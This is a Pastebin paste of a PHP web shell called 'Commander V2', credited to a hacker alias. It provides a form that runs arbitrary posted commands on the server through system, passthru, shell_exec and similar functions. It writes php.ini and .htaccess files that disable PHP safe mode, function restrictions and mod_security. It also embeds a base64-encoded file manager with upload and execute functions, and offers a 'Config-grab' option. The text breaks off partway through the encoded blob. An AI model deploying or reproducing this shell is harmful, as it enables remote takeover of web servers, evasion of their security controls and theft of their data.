FRIEZA1122

Commander

May 9th, 2014
215
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 176.65 KB | None | 0 0
  1.  
  2. <?
  3. #============= > Start
  4.  
  5. /*
  6. MAded BY MR.FRIEZA
  7. Saudi Hackers
  8. #==== > [ Jd-Hckrz.cu.cc ] [ MR.FRIEZA ] [ ax2@hotmail.no ]
  9.  
  10. */
  11.  
  12. error_reporting(0);
  13.  
  14. ?>
  15.  
  16. <style>
  17. body{
  18. font-family: "Racing Sans One", cursive;
  19. background-color: #22245;
  20. text-shadow:0px 0px 1px #757575;
  21. }
  22. #content tr:hover{
  23. background-color: #636263;
  24. text-shadow:0px 0px 10px #fff;
  25. }
  26. #content .first{
  27. background-color: silver;
  28. }
  29. #content .first:hover{
  30. background-color: silver;
  31. text-shadow:0px 0px 1px #757575;
  32. }
  33.  
  34. H1{
  35. font-family: "Rye", cursive;
  36. }
  37. a{
  38. color: #000;
  39. text-decoration: none;
  40. }
  41. a:hover{
  42. color: #fff;
  43. text-shadow:0px 0px 10px #ffffff;
  44. }
  45. input,select,textarea{
  46. border: 1px #000000 solid;
  47. -moz-border-radius: 5px;
  48. -webkit-border-radius:5px;
  49. border-radius:5px;
  50. }
  51.  
  52.  
  53. </style>
  54. <title>Commander V2</title>
  55. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  56. <center><input type=button value="Back" onClick="goBack()">
  57. <input type=button value="Refresh" onClick="history.go()">
  58. <input type=button value="Forward" onClick="goForward()"></center>
  59. <form method='GET'>
  60. <center><input type='submit' name='' value='Home' size='10' >
  61. <input type='submit' name='conf' value='Config-grab' size='10' >
  62. <input type='submit' name='web' value='Webadmin-arabic-version' size='10' >
  63. <input type='submit' name='sf' value='Safe-Mode-off' size='10' >
  64. <input type='submit' name='mini-py' value='Mini-Python' size='10' >
  65. <input type='submit' name='0' value='Ab0ut' size='10' >
  66. </center>
  67. </form>
  68.  
  69. <script>
  70. function goForward()
  71. {
  72. window.history.forward()
  73. }
  74. </script>
  75. <script>
  76. function goBack()
  77. {
  78. window.history.back()
  79. }
  80. </script>
  81. The Command
  82. <?
  83.  
  84. echo "<form method=post>";
  85. echo "<input type=text name=cmd size=85>";
  86. echo "</form>";
  87. echo "<pre>";
  88. echo'<textarea style="width: 750px; height: 310px;" dir="ltr">:>';
  89. if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -la"; }
  90. echo "".sys($_POST['cmd'])."";
  91.  
  92. echo'</textarea>';
  93.  
  94. function sys($cmd)
  95. {
  96. if(function_exists('system'))
  97. {
  98. print system($cmd);
  99. } elseif(function_exists('passthru'))
  100. {
  101. print passthru($cmd);
  102. } elseif(function_exists('shell_exec'))
  103. {
  104. print shell_exec($cmd);
  105. } elseif(function_exists('proc_open'))
  106. {
  107. print proc_open($cmd);
  108. } elseif(function_exists('exec'))
  109. {
  110. print exec($cmd);
  111. } else {
  112. print 'No Function Works';
  113. }
  114. }
  115. if(isset($_GET['sf']))
  116. {
  117.  
  118. echo"<FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'>
  119. <p align='center'>
  120. <INPUT type='submit' name='FucK' value='Turn off The Dam Safe mode' id=input style='font-size: 12pt; font-weight: bold; border-style: inset; border-width: 1px'></p>
  121. </form>
  122. ";
  123. echo "<right/>";
  124. if (empty($_POST['FucK'] ) ) {
  125. }ELSE{
  126. @mkdir("off", 0755);
  127.  
  128. @chdir("off");
  129.  
  130.  
  131. $fp = fopen("php.ini","w+");
  132. fwrite($fp,"safe_mode = Off
  133. disable_functions = NONE
  134. open_basedir = OFF ");
  135.  
  136. echo ("<br>")
  137. ?>
  138. <?
  139. $fp2 = fopen(".htaccess","w+");
  140. fwrite($fp2,"
  141. <IfModule mod_security.c>
  142. SecFilterEngine Off
  143. SecFilterScanPOST Off
  144. </IfModule>
  145. ");
  146. $webadmin = 'PD9waHANCi8qDQogKiB3ZWJhZG1pbi5waHAgLSBhIHNpbXBsZSBXZWItYmFzZWQgZmlsZSBtYW5hZ2VyDQogKiBDb3B5cmlnaHQgKEMpIDIwMDQgIERhbmllbCBXYWNrZXIgPGRhbmllbC53YWNrZXJAd2ViLmRlPg0KICoNCiAqIFRoaXMgcHJvZ3JhbSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IgbW9kaWZ5DQogKiBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieQ0KICogdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsgZWl0aGVyIHZlcnNpb24gMiBvZiB0aGUgTGljZW5zZSwgb3INCiAqIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uDQogKg0KICogVGhpcyBwcm9ncmFtIGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsDQogKiBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZg0KICogTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAgU2VlIHRoZQ0KICogR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZm9yIG1vcmUgZGV0YWlscy4NCiAqDQogKiBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZQ0KICogYWxvbmcgd2l0aCB0aGlzIHByb2dyYW07IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUgU29mdHdhcmUNCiAqIEZvdW5kYXRpb24sIEluYy4sIDY3NSBNYXNzIEF2ZSwgQ2FtYnJpZGdlLCBNQSAwMjEzOSwgVVNBLg0KICoNCiAqIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiAqIFdoaWxlIHVzaW5nIHRoaXMgc2NyaXB0LCBkbyBOT1QgbmF2aWdhdGUgd2l0aCB5b3VyIGJyb3dzZXIncyBiYWNrIGFuZA0KICogZm9yd2FyZCBidXR0b25zISBBbHdheXMgb3BlbiBmaWxlcyBpbiBhIG5ldyBicm93c2VyIHRhYiENCiAqIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiAqDQogKiBUaGlzIGlzIFZlcnNpb24gMC45LCByZXZpc2lvbiA1DQogKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQogKg0KICogQ2hhbmdlcyBvZiByZXZpc2lvbiA1DQogKiA8ZGFuaWVsLndhY2tlckB3ZWIuZGU+DQogKiAgICBhZGRlZCBsYW5ndWFnZSBhdXRvIHNlbGVjdA0KICogICAgZml4ZWQgc3ltbGlua3MgaW4gZGlyZWN0b3J5IGxpc3RpbmcNCiAqICAgIHJlbW92ZWQgd29yZC13cmFwIGluIGVkaXQgdGV4dGFyZWENCiAqDQogKiBDaGFuZ2VzIG9mIHJldmlzaW9uIDQNCiAqIDxkYWxvYW5AZ3VpZGVvLmZyPg0KICogICAgYWRkZWQgRnJlbmNoIHRyYW5zbGF0aW9uDQogKiA8YW5kZXJzQHdpaWsuY2M+DQogKiAgICBhZGRlZCBTd2VkaXNoIHRyYW5zbGF0aW9uDQogKg0KICogQ2hhbmdlcyBvZiByZXZpc2lvbiAzDQogKiA8bnp1bnRhQGdhYnJpZWxlLWVyYmEuaXQ+DQogKiAgICBpbXByb3ZlZCBJdGFsaWFuIHRyYW5zbGF0aW9uDQogKg0KICogQ2hhbmdlcyBvZiByZXZpc2lvbiAyDQogKiA8ZGFuaWVsLndhY2tlckB3ZWIuZGU+DQogKiAgICBnb3QgaW1hZ2VzIHdvcmsgaW4gc29tZSBvbGQgYnJvd3NlcnMNCiAqICAgIGZpeGVkIGNyZWF0aW9uIG9mIGRpcmVjdG9yaWVzDQogKiAgICBmaXhlZCBmaWxlcyBkZWxldGlvbg0KICogICAgaW1wcm92ZWQgcGF0aCBoYW5kbGluZw0KICogICAgYWRkZWQgbWlzc2luZyB3b3JkICdub3RfY3JlYXRlZCcNCiAqIDx0aWxsQHR1eGVuLmRlPg0KICogICAgaW1wcm92ZWQgaHVtYW4gcmVhZGFiaWxpdHkgb2YgZmlsZSBzaXplcw0KICogPG56dW50YUBnYWJyaWVsZS1lcmJhLml0Pg0KICogICAgYWRkZWQgSXRhbGlhbiB0cmFuc2xhdGlvbg0KICoNCiAqIENoYW5nZXMgb2YgcmV2aXNpb24gMQ0KICogPGRhbmllbC53YWNrZXJAd2ViLmRlPg0KICogICAgd2ViYWRtaW4ucGhwIGNvbXBsZXRlbHkgcmV3cml0dGVuOg0KICogICAgLSBjbGVhbiBYSFRNTC9DU1Mgb3V0cHV0DQogKiAgICAtIHNldmVyYWwgZmlsZXMgc2VsZWN0YWJsZQ0KICogICAgLSBzdXBwb3J0IGZvciB3aW5kb3dzIHNlcnZlcnMNCiAqICAgIC0gbm8gbW9yZSB0cmVldmlldywgYmVjYXVzZQ0KICogICAgICAtIHdlYmFkbWluLnBocCBpcyBhID5zaW1wbGU8IGZpbGUgbWFuYWdlcg0KICogICAgICAtIHBlcmZvcm1hbmNlIHByb2JsZW1zICh0b28gbXVjaCBhZGRpdGlvbmFsIGNvZGUpDQogKiAgICAgIC0gSSBkb24ndCBsaWtlOiBmcmFtZXMsIGphdmEtc2NyaXB0LCB0byByZWxvYWQgYWZ0ZXIgZXZlcnkgdHJlZXZpZXctY2xpY2sNCiAqICAgIC0gZXhlY3V0aW9uIG9mIHNoZWxsIHNjcmlwdHMNCiAqICAgIC0gaW50cm9kdWNlZCByZXZpc2lvbiBudW1iZXJzDQogKg0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLw0KDQovKiBZb3VyIGxhbmd1YWdlOg0KICogJ2VuJyAtIEVuZ2xpc2gNCiAqICdkZScgLSBHZXJtYW4NCiAqICdmcicgLSBGcmVuY2gNCiAqICdpdCcgLSBJdGFsaWFuDQogKiAnc2UnIC0gU3dlZGlzaA0KIConYXInIC0gYXJhYmljIGFkZCBieSBNUi5GUklFWkENCiAqICdhdXRvJyAtIGF1dG9zZWxlY3QNCiAqLw0KJGxhbmcgPSAnYXInOw0KDQovKiBDaGFyc2V0IG9mIHlvdXIgZmlsZW5hbWVzOg0KICovDQokY2hhcnNldCA9ICd1dGYtOCc7DQoNCi8qIEhvbWVkaXI6DQogKiBGb3IgZXhhbXBsZTogJy4vJyAtIHRoZSBzY3JpcHQncyBkaXJlY3RvcnkNCiAqLw0KJGhvbWVkaXIgPSAnLi8nOw0KDQovKiBTaXplIG9mIHRoZSBlZGl0IHRleHRhcmVhDQogKi8NCiRlZGl0Y29scyA9IDgwOw0KJGVkaXRyb3dzID0gMjU7DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiAqIE9wdGlvbmFsIGNvbmZpZ3VyYXRpb24gKHJlbW92ZSAjIHRvIGVuYWJsZSkNCiAqLw0KDQovKiBQZXJtaXNzaW9uIG9mIGNyZWF0ZWQgZGlyZWN0b3JpZXM6DQogKiBGb3IgZXhhbXBsZTogMDcwNSB3b3VsZCBiZSAnZHJ3eC0tLXIteCcuDQogKi8NCiMgJGRpcnBlcm1pc3Npb24gPSAwNzA1Ow0KDQovKiBQZXJtaXNzaW9uIG9mIGNyZWF0ZWQgZmlsZXM6DQogKiBGb3IgZXhhbXBsZTogMDYwNCB3b3VsZCBiZSAnLXJ3LS0tLXItLScuDQogKi8NCiMgJGZpbGVwZXJtaXNzaW9uID0gMDYwNDsNCg0KLyogRmlsZW5hbWVzIHJlbGF0ZWQgdG8gdGhlIGFwYWNoZSB3ZWIgc2VydmVyOg0KICovDQokaHRhY2Nlc3MgPSAnLmh0YWNjZXNzJzsNCiRodHBhc3N3ZCA9ICcuaHRwYXNzd2QnOw0KDQovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovDQoNCmlmIChnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7DQoJYXJyYXlfd2FsaygkX0dFVCwgJ3N0cmlwJyk7DQoJYXJyYXlfd2FsaygkX1BPU1QsICdzdHJpcCcpOw0KCWFycmF5X3dhbGsoJF9SRVFVRVNULCAnc3RyaXAnKTsNCn0NCg0KaWYgKGFycmF5X2tleV9leGlzdHMoJ2ltYWdlJywgJF9HRVQpKSB7DQoJaGVhZGVyKCdDb250ZW50LVR5cGU6IGltYWdlL2dpZicpOw0KCWRpZShnZXRpbWFnZSgkX0dFVFsnaW1hZ2UnXSkpOw0KfQ0KDQokZGVsaW0gPSBESVJFQ1RPUllfU0VQQVJBVE9SOw0KDQppZiAoZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSkgew0KCSR3aW4gPSAoc3RydG91cHBlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT09ICdXSU4nKSA/IHRydWUgOiBmYWxzZTsNCn0gZWxzZSB7DQoJJHdpbiA9ICgkZGVsaW0gPT0gJ1xcJykgPyB0cnVlIDogZmFsc2U7DQp9DQoNCmlmICghZW1wdHkoJF9TRVJWRVJbJ1BBVEhfVFJBTlNMQVRFRCddKSkgew0KCSRzY3JpcHRkaXIgPSBkaXJuYW1lKCRfU0VSVkVSWydQQVRIX1RSQU5TTEFURUQnXSk7DQp9IGVsc2VpZiAoIWVtcHR5KCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSkpIHsNCgkkc2NyaXB0ZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOw0KfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0Y3dkJykpIHsNCgkkc2NyaXB0ZGlyID0gZ2V0Y3dkKCk7DQp9IGVsc2Ugew0KCSRzY3JpcHRkaXIgPSAnLic7DQp9DQokaG9tZWRpciA9IHJlbGF0aXZlMmFic29sdXRlKCRob21lZGlyLCAkc2NyaXB0ZGlyKTsNCg0KJGRpciA9IChhcnJheV9rZXlfZXhpc3RzKCdkaXInLCAkX1JFUVVFU1QpKSA/ICRfUkVRVUVTVFsnZGlyJ10gOiAkaG9tZWRpcjsNCg0KaWYgKGFycmF5X2tleV9leGlzdHMoJ29sZGRpcicsICRfUE9TVCkgJiYgIXBhdGhfaXNfcmVsYXRpdmUoJF9QT1NUWydvbGRkaXInXSkpIHsNCgkkZGlyID0gcmVsYXRpdmUyYWJzb2x1dGUoJGRpciwgJF9QT1NUWydvbGRkaXInXSk7DQp9DQoNCiRkaXJlY3RvcnkgPSBzaW1wbGlmeV9wYXRoKGFkZHNsYXNoKCRkaXIpKTsNCg0KJGZpbGVzID0gYXJyYXkoKTsNCiRhY3Rpb24gPSAnJzsNCmlmICghZW1wdHkoJF9QT1NUWydzdWJtaXRfYWxsJ10pKSB7DQoJJGFjdGlvbiA9ICRfUE9TVFsnYWN0aW9uX2FsbCddOw0KCWZvciAoJGkgPSAwOyAkaSA8ICRfUE9TVFsnbnVtJ107ICRpKyspIHsNCgkJaWYgKGFycmF5X2tleV9leGlzdHMoImNoZWNrZWQkaSIsICRfUE9TVCkgJiYgJF9QT1NUWyJjaGVja2VkJGkiXSA9PSAndHJ1ZScpIHsNCgkJCSRmaWxlc1tdID0gJF9QT1NUWyJmaWxlJGkiXTsNCgkJfQ0KCX0NCn0gZWxzZWlmICghZW1wdHkoJF9SRVFVRVNUWydhY3Rpb24nXSkpIHsNCgkkYWN0aW9uID0gJF9SRVFVRVNUWydhY3Rpb24nXTsNCgkkZmlsZXNbXSA9IHJlbGF0aXZlMmFic29sdXRlKCRfUkVRVUVTVFsnZmlsZSddLCAkZGlyZWN0b3J5KTsNCn0gZWxzZWlmICghZW1wdHkoJF9QT1NUWydzdWJtaXRfdXBsb2FkJ10pICYmICFlbXB0eSgkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKSkgew0KCSRmaWxlc1tdID0gJF9GSUxFU1sndXBsb2FkJ107DQoJJGFjdGlvbiA9ICd1cGxvYWQnOw0KfSBlbHNlaWYgKGFycmF5X2tleV9leGlzdHMoJ251bScsICRfUE9TVCkpIHsNCglmb3IgKCRpID0gMDsgJGkgPCAkX1BPU1RbJ251bSddOyAkaSsrKSB7DQoJCWlmIChhcnJheV9rZXlfZXhpc3RzKCJzdWJtaXQkaSIsICRfUE9TVCkpIGJyZWFrOw0KCX0NCglpZiAoJGkgPCAkX1BPU1RbJ251bSddKSB7DQoJCSRhY3Rpb24gPSAkX1BPU1RbImFjdGlvbiRpIl07DQoJCSRmaWxlc1tdID0gJF9QT1NUWyJmaWxlJGkiXTsNCgl9DQp9DQppZiAoZW1wdHkoJGFjdGlvbikgJiYgKCFlbXB0eSgkX1BPU1RbJ3N1Ym1pdF9jcmVhdGUnXSkgfHwgKGFycmF5X2tleV9leGlzdHMoJ2ZvY3VzJywgJF9QT1NUKSAmJiAkX1BPU1RbJ2ZvY3VzJ10gPT0gJ2NyZWF0ZScpKSAmJiAhZW1wdHkoJF9QT1NUWydjcmVhdGVfbmFtZSddKSkgew0KCSRmaWxlc1tdID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydjcmVhdGVfbmFtZSddLCAkZGlyZWN0b3J5KTsNCglzd2l0Y2ggKCRfUE9TVFsnY3JlYXRlX3R5cGUnXSkgew0KCWNhc2UgJ2RpcmVjdG9yeSc6DQoJCSRhY3Rpb24gPSAnY3JlYXRlX2RpcmVjdG9yeSc7DQoJCWJyZWFrOw0KCWNhc2UgJ2ZpbGUnOg0KCQkkYWN0aW9uID0gJ2NyZWF0ZV9maWxlJzsNCgl9DQp9DQppZiAoc2l6ZW9mKCRmaWxlcykgPT0gMCkgJGFjdGlvbiA9ICcnOyBlbHNlICRmaWxlID0gcmVzZXQoJGZpbGVzKTsNCg0KaWYgKCRsYW5nID09ICdhdXRvJykgew0KCWlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0FDQ0VQVF9MQU5HVUFHRScsICRfU0VSVkVSKSAmJiBzdHJsZW4oJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pID49IDIpIHsNCgkJJGxhbmcgPSBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpOw0KCX0gZWxzZSB7DQoJCSRsYW5nID0gJ2VuJzsNCgl9DQp9DQoNCiR3b3JkcyA9IGdldHdvcmRzKCRsYW5nKTsNCg0KJGNvbHMgPSAoJHdpbikgPyA0IDogNzsNCg0KaWYgKCFpc3NldCgkZGlycGVybWlzc2lvbikpIHsNCgkkZGlycGVybWlzc2lvbiA9IChmdW5jdGlvbl9leGlzdHMoJ3VtYXNrJykpID8gKDA3NzcgJiB+dW1hc2soKSkgOiAwNzU1Ow0KfQ0KaWYgKCFpc3NldCgkZmlsZXBlcm1pc3Npb24pKSB7DQoJJGZpbGVwZXJtaXNzaW9uID0gKGZ1bmN0aW9uX2V4aXN0cygndW1hc2snKSkgPyAoMDY2NiAmIH51bWFzaygpKSA6IDA2NDQ7DQp9DQoNCmlmICghZW1wdHkoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pKSB7DQoJJHNlbGYgPSBodG1sKGJhc2VuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSk7DQp9IGVsc2VpZiAoIWVtcHR5KCRfU0VSVkVSWydQSFBfU0VMRiddKSkgew0KCSRzZWxmID0gaHRtbChiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpOw0KfSBlbHNlIHsNCgkkc2VsZiA9ICcnOw0KfQ0KDQppZiAoIWVtcHR5KCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSkpIHsNCglpZiAoc3RydG9sb3dlcihzdWJzdHIoJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLCAwLCA2KSkgPT0gJ2FwYWNoZScpIHsNCgkJJGFwYWNoZSA9IHRydWU7DQoJfSBlbHNlIHsNCgkJJGFwYWNoZSA9IGZhbHNlOw0KCX0NCn0gZWxzZSB7DQoJJGFwYWNoZSA9IHRydWU7DQp9DQoNCnN3aXRjaCAoJGFjdGlvbikgew0KDQpjYXNlICd2aWV3JzoNCg0KCWlmIChpc19zY3JpcHQoJGZpbGUpKSB7DQoNCgkJLyogaGlnaGxpZ2h0X2ZpbGUgaXMgYSBtZXNzISAqLw0KCQlvYl9zdGFydCgpOw0KCQloaWdobGlnaHRfZmlsZSgkZmlsZSk7DQoJCSRzcmMgPSBlcmVnX3JlcGxhY2UoJzxmb250IGNvbG9yPSIoW14iXSopIj4nLCAnPHNwYW4gc3R5bGU9ImNvbG9yOiBcMSI+Jywgb2JfZ2V0X2NvbnRlbnRzKCkpOw0KCQkkc3JjID0gc3RyX3JlcGxhY2UoYXJyYXkoJzwvZm9udD4nLCAiXHIiLCAiXG4iKSwgYXJyYXkoJzwvc3Bhbj4nLCAnJywgJycpLCAkc3JjKTsNCgkJb2JfZW5kX2NsZWFuKCk7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCgkJZWNobyAnPGgyIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyBtYXJnaW4tYm90dG9tOiAwIj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9oMj4NCg0KPGhyIC8+DQoNCjx0YWJsZT4NCjx0cj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQ7IHZlcnRpY2FsLWFsaWduOiB0b3A7IGNvbG9yOiBncmF5OyBwYWRkaW5nLXJpZ2h0OiAzcHQ7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkIGdyYXkiPg0KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+PGNvZGU+JzsNCg0KCQlmb3IgKCRpID0gMTsgJGkgPD0gc2l6ZW9mKGZpbGUoJGZpbGUpKTsgJGkrKykgZWNobyAiJGlcbiI7DQoNCgkJZWNobyAnPC9jb2RlPjwvcHJlPg0KPC90ZD4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdDsgdmVydGljYWwtYWxpZ246IHRvcDsgcGFkZGluZy1sZWZ0OiAzcHQiPg0KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+JyAuICRzcmMgLiAnPC9wcmU+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0gZWxzZSB7DQoNCgkJaGVhZGVyKCdDb250ZW50LVR5cGU6ICcgLiBnZXRtaW1ldHlwZSgkZmlsZSkpOw0KCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGZpbGVuYW1lPScgLiBiYXNlbmFtZSgkZmlsZSkpOw0KDQoJCXJlYWRmaWxlKCRmaWxlKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdkb3dubG9hZCc6DQoNCgloZWFkZXIoJ1ByYWdtYTogcHVibGljJyk7DQoJaGVhZGVyKCdFeHBpcmVzOiAwJyk7DQoJaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAnKTsNCgloZWFkZXIoJ0NvbnRlbnQtVHlwZTogJyAuIGdldG1pbWV0eXBlKCRmaWxlKSk7DQoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nIC4gYmFzZW5hbWUoJGZpbGUpIC4gJzsnKTsNCgloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGZpbGUpKTsNCg0KCXJlYWRmaWxlKCRmaWxlKTsNCg0KCWJyZWFrOw0KDQpjYXNlICd1cGxvYWQnOg0KDQoJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkZmlsZVsnbmFtZSddLCAkZGlyZWN0b3J5KTsNCg0KCWlmIChAZmlsZV9leGlzdHMoJGRlc3QpKSB7DQoJCWxpc3RpbmdfcGFnZShlcnJvcignYWxyZWFkeV9leGlzdHMnLCAkZGVzdCkpOw0KCX0gZWxzZWlmIChAbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlWyd0bXBfbmFtZSddLCAkZGVzdCkpIHsNCgkJbGlzdGluZ19wYWdlKG5vdGljZSgndXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7DQoJfSBlbHNlIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfdXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7DQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2NyZWF0ZV9kaXJlY3RvcnknOg0KDQoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdhbHJlYWR5X2V4aXN0cycsICRmaWxlKSk7DQoJfSBlbHNlIHsNCgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRkaXJwZXJtaXNzaW9uKTsNCgkJaWYgKEBta2RpcigkZmlsZSwgJGRpcnBlcm1pc3Npb24pKSB7DQoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdjcmVhdGVkJywgJGZpbGUpKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NyZWF0ZWQnLCAkZmlsZSkpOw0KCQl9DQoJCUB1bWFzaygkb2xkKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY3JlYXRlX2ZpbGUnOg0KDQoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdhbHJlYWR5X2V4aXN0cycsICRmaWxlKSk7DQoJfSBlbHNlIHsNCgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRmaWxlcGVybWlzc2lvbik7DQoJCWlmIChAdG91Y2goJGZpbGUpKSB7DQoJCQllZGl0KCRmaWxlKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NyZWF0ZWQnLCAkZmlsZSkpOw0KCQl9DQoJCUB1bWFzaygkb2xkKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZXhlY3V0ZSc6DQoNCgljaGRpcihkaXJuYW1lKCRmaWxlKSk7DQoNCgkkb3V0cHV0ID0gYXJyYXkoKTsNCgkkcmV0dmFsID0gMDsNCglleGVjKCdlY2hvICIuLycgLiBiYXNlbmFtZSgkZmlsZSkgLiAnIiB8IC9iaW4vc2gnLCAkb3V0cHV0LCAkcmV0dmFsKTsNCg0KCSRlcnJvciA9ICgkcmV0dmFsID09IDApID8gZmFsc2UgOiB0cnVlOw0KDQoJaWYgKHNpemVvZigkb3V0cHV0KSA9PSAwKSAkb3V0cHV0ID0gYXJyYXkoJzwnIC4gJHdvcmRzWydub19vdXRwdXQnXSAuICc+Jyk7DQoNCglpZiAoJGVycm9yKSB7DQoJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2V4ZWN1dGVkJywgJGZpbGUsIGltcGxvZGUoIlxuIiwgJG91dHB1dCkpKTsNCgl9IGVsc2Ugew0KCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdleGVjdXRlZCcsICRmaWxlLCBpbXBsb2RlKCJcbiIsICRvdXRwdXQpKSk7DQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2RlbGV0ZSc6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnbm8nXSkpIHsNCgkJbGlzdGluZ19wYWdlKCk7DQoJfSBlbHNlaWYgKCFlbXB0eSgkX1BPU1RbJ3llcyddKSkgew0KDQoJCSRmYWlsdXJlID0gYXJyYXkoKTsNCgkJJHN1Y2Nlc3MgPSBhcnJheSgpOw0KDQoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KCQkJaWYgKGRlbCgkZmlsZSkpIHsNCgkJCQkkc3VjY2Vzc1tdID0gJGZpbGU7DQoJCQl9IGVsc2Ugew0KCQkJCSRmYWlsdXJlW10gPSAkZmlsZTsNCgkJCX0NCgkJfQ0KDQoJCSRtZXNzYWdlID0gJyc7DQoJCWlmIChzaXplb2YoJGZhaWx1cmUpID4gMCkgew0KCQkJJG1lc3NhZ2UgPSBlcnJvcignbm90X2RlbGV0ZWQnLCBpbXBsb2RlKCJcbiIsICRmYWlsdXJlKSk7DQoJCX0NCgkJaWYgKHNpemVvZigkc3VjY2VzcykgPiAwKSB7DQoJCQkkbWVzc2FnZSAuPSBub3RpY2UoJ2RlbGV0ZWQnLCBpbXBsb2RlKCJcbiIsICRzdWNjZXNzKSk7DQoJCX0NCg0KCQlsaXN0aW5nX3BhZ2UoJG1lc